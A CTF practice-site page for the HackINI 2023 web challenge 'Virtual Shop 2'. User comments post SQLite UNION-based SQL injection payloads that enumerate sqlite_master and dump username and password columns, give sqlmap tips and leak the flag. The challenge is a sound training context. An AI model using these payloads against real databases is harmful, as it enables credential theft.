Virtual Shop 2WEB 未解决

分数: 0 金币: 0
所属赛事: HackINI 2023
题目作者: 未知
一  血: heyile
一血奖励: 0金币
解  决: 296
提  示:
描  述:
I'm not making the same mistake again this time, you can't guess my\ \ tables now.\n \n\n **Author**: F100w
评论
你不懂的吧 9月前

3、查出具体表的字段: ' union SELECT pw789,null,null,null FROM UsEErrSS1337987 --+

回复 0

你不懂的吧 9月前

1、查出表有哪些表: ' union SELECT name,null,null,null FROM sqlite_master WHERE type='table' ; 2、查出表有哪些列 :' union SELECT sql,null,null,null FROM sqlite_master WHERE type='table' AND name='UsEErrSS1337987';

回复 1

smtall 10月前

sqlmap使用hex编码提取数据(绕过限制)

回复 0

MoCaser 1年前

我......我......我一把梭战神口牙!!

回复 0

lq61618 1年前

shellmates{Gg_b0Y_you_kNOW_w3ll_H0w_T0_uSe_uNiOn_4tTacK}

回复 0

xiaobai568 1年前

我写了个WP,描述了手工注入的过程

回复 0

啊这这 2年前

我的sqlmap没跑出来 用的level3 不过我花了十几分钟学了一下sqlite使用 做出来了 还是不错的

回复 0
xiaoxiao972521 1年前

不晓得,sqlmap一把过

回复 0

justsosoloveyou 2年前

' UNION SELECT (select group_concat(sql) from sqlite_master WHERE type='table'),NULL,NULL,(select group_concat(usnme324||':'||pw789) FROM UsEErrSS1337987)--+

回复 0

zhangye 2年前

sqlmap跑时把之前跑的文件删了,不然给的是1的flag

回复 3

hopeinhand 2年前

sqlmap一把梭

回复 0

WriteUp

image
sanshi

1 金币

评分(0)

暂无评分

解题动态

路痴通 攻破了该题 3天前
李逍遥逛霍格沃茨 攻破了该题 4天前
un 攻破了该题 6天前
理塘王丁真 攻破了该题 9天前
何何 攻破了该题 12天前
shikeerzhi 攻破了该题 14天前
零零凌ling 攻破了该题 15天前
司徒草青 攻破了该题 17天前
admin10086 攻破了该题 17天前
zhouxin1288 攻破了该题 24天前
chrisslyy 攻破了该题 1月前
意料之中是戏 攻破了该题 1月前
jiubanyipeng 攻破了该题 1月前
GNMO 攻破了该题 1月前
wwwwjjj 攻破了该题 2月前
2kniden 攻破了该题 2月前
蛋总 攻破了该题 2月前
hh20251231 攻破了该题 2月前
d2pq2 攻破了该题 2月前
omango 攻破了该题 2月前
问题反馈